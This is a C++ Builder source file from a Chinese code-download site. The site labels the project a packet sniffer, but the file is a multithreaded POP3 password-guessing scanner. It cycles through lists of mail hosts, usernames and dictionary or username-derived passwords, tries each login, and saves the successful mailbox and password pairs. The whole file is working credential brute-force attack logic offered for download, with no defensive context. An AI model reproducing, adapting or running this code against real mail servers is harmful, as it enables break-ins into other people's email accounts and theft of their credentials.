⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 pop3_detect.cpp

📁 VC++编写的类似Sniffer的网络数据包监听程序
💻 CPP
字号:
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "pop3_Detect.h"
#include "function_1.h"
#include "report.h"
#include "main.h"
#include "syncobjs.hpp"
#include "pop_scan.hpp"
#pragma package(smart_init)
extern unsigned long ping_ip_start;
extern unsigned long ping_ip_stop;//开始,结束的ip
extern int cur_ip;//已工作的ip数
extern int ping_thread_no;//pop_scan线程数
extern boolean thread_run;//是否停止
extern boolean do_select;//是否只对选择的工作
extern boolean const_pass;//是否使用内定密码
extern int pass_no;//生成内定密码的位置

//为了少定义变量才这样做
extern int share_thread_no;//detect线程数量
extern int share_ip_no;//detect_ip的位置指示
extern int scan_port_ip;//detect_user位置指示
extern int scan_port_no;//detect_Pass位置指示

extern TStringList *port_lists;
extern TStringList *main_list;

extern TCriticalSection *ping_CriticalSection;//全局临界变量

//---------------------------------------------------------------------------

void __fastcall TPop3_Detect::ThreadDone(TObject * Sender)//退出线程
{
  ((TPop3_Detect*)Sender)->Fpop_scan->Free();

  share_thread_no--;
  main_f->Edit43->Text=IntToStr(share_thread_no);
  report_f->Edit14->Text=IntToStr(StrToInt(report_f->Edit14->Text)-1);
  if ((ping_thread_no==0)&&(share_thread_no==0))
   {
     main_f->Bar->Position=0;
     main_f->Edit39->Text="扫描完毕,请查看...";
   }
}
//---------------------------------------------------------------------------

__fastcall TPop3_Detect::TPop3_Detect(bool CreateSuspended)//建立线程
        : TThread(CreateSuspended)
{
  Error_no=0;//不能连接的次数
  Fpop_scan=new Tpop_scan(main_f);
  OnTerminate =ThreadDone;
  FreeOnTerminate = True;
  Fpop_scan->Port=main_f->Edit44->Text;
  Fpop_scan->OnSendDetect=OnSendDetect;

  share_thread_no++;
  main_f->Edit43->Text=IntToStr(share_thread_no);
  report_f->Edit14->Text=IntToStr(StrToInt(report_f->Edit14->Text)+1);
}


//---------------------------------------------------------------------------
void __fastcall TPop3_Detect::Execute()
{
  AnsiString temp_str="";

 while (thread_run){
   ping_CriticalSection->Enter();//进入临界状态
     ip_index=share_ip_no;//取得当前要扫描的POP_IP地址
     user_index=scan_port_ip;//用户位置 main_list中
     pass_index=scan_port_no;//当前要扫描的pass_位置! 位于port_lists中
    if (ip_index >= main_f->pop3_list->Items->Count)
       {
        ping_CriticalSection->Leave();//析放临界状态
        break;
       }
    if (const_pass)//使用内定密码
       temp_str=NameToPass(main_list->Strings[user_index],pass_no);
    if (temp_str=="")
     {
      scan_port_no++;
      if (scan_port_no>=port_lists->Count)
       {
        scan_port_no=0;
        scan_port_ip++;
        pass_no=0;
        if (scan_port_ip>=main_list->Count)
         {
          scan_port_ip=0;
          share_ip_no++;
          }
       }
      }
    if (ping_thread_no==0) main_f->Bar->Position=main_f->Bar->Position+1;
    email_str=main_f->pop3_list->Items->Strings[ip_index];
    main_f->Edit39->Text=main_list->Strings[user_index]+"@"+email_str;
   ping_CriticalSection->Leave();//析放临界状态

   Fpop_scan->UserName=main_list->Strings[user_index];//+"@"+email_str;
   if (inet_addr(email_str.c_str())==-1)Fpop_scan->HostName=email_str;
     else  Fpop_scan->Address=email_str;

    if (Fpop_scan->Address!="")
    {
      if (temp_str=="")
        {
         if (port_lists->Count>0){
           Fpop_scan->PassWord=port_lists->Strings[pass_index];
           Fpop_scan->SendDetect();
           }
        }
       else
       {
         Fpop_scan->PassWord=temp_str;
         Fpop_scan->SendDetect();
       }
    }else{
      ping_CriticalSection->Enter();//进入临界状态
      report_f->all_info->Lines->Add("信箱:"+email_str+"错误!");
       if (ip_index == share_ip_no)
         { share_ip_no++;
           scan_port_ip=0;
           scan_port_no=0;
           pass_no=0;
         }
      ping_CriticalSection->Leave();//析放临界状态
    }
 }

}

//---------------------------------------------------------------------------
void __fastcall TPop3_Detect::OnSendDetect(int Error)
{
  Err=Error;
  Synchronize(set_str);
}

//---------------------------------------------------------------------------

void __fastcall TPop3_Detect::set_str()
{
  if (Err==-1)//主机断开连接
     {
      main_f->pop3_info->Lines->Add("POP3主机:"+email_str+"不可连接!");
      Beep();Error_no++;
      Application->ProcessMessages();
      if (Error_no>3)//连接2 次若不通就跳过
       {
          Error_no=0;
         if (ip_index == share_ip_no)//跳到下一主机
          { share_ip_no++;
           scan_port_ip=0;
           scan_port_no=0;
           pass_no=0;
          }
       }
     }
   else
  if (Err==-2)//用户登陆失败
   {
    Error_no=0;
    main_f->pop3_info->Lines->Add("信箱:"+Fpop_scan->UserName+"@"+email_str+"-->用户登陆失败:"+"密码:["+Fpop_scan->PassWord+"]"+Trim(Fpop_scan->Recv_Info));
      if (user_index == scan_port_ip)//跳到下一用户
         { scan_port_ip++;
           scan_port_no=0;
           if (scan_port_ip>=main_list->Count)
              {
              scan_port_ip=0;
              share_ip_no++;
              pass_no=0;
              }
         }
   }else
  if (Err==-3) //密码登陆失败
   {
    Error_no=0;
    main_f->pop3_info->Lines->Add("信箱:"+Fpop_scan->UserName+"@"+email_str+"密码:["+Fpop_scan->PassWord+"]-->登陆失败:"+Trim(Fpop_scan->Recv_Info));
   } else
  if (Err==0)
   { Beep();
     Error_no=0;
     main_f->pop3_info->Lines->Add("信箱:"+Fpop_scan->UserName+"@"+email_str+"密码:["+Fpop_scan->PassWord+"]-->成功:"+Trim(Fpop_scan->Recv_Info));
     main_f->pop3_pass->Lines->Add("信箱:"+Fpop_scan->UserName+"@"+email_str+"密码:["+Fpop_scan->PassWord+"]   信息:"+Trim(Fpop_scan->Recv_Info));

     main_f->Edit41->Text=IntToStr(StrToInt(main_f->Edit41->Text)+1);
      if (user_index == scan_port_ip)//跳到下一用户
         { scan_port_ip++;
           scan_port_no=0;
           if (scan_port_ip>=main_list->Count)
              {
              scan_port_ip=0;
              share_ip_no++;
              pass_no=0;
              }
         }
    };
 main_f->Edit46->Text=IntToStr(StrToInt(main_f->Edit46->Text)+1);
 if (main_f->pop3_info->Lines->Count>300) main_f->pop3_info->Lines->Clear();

}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -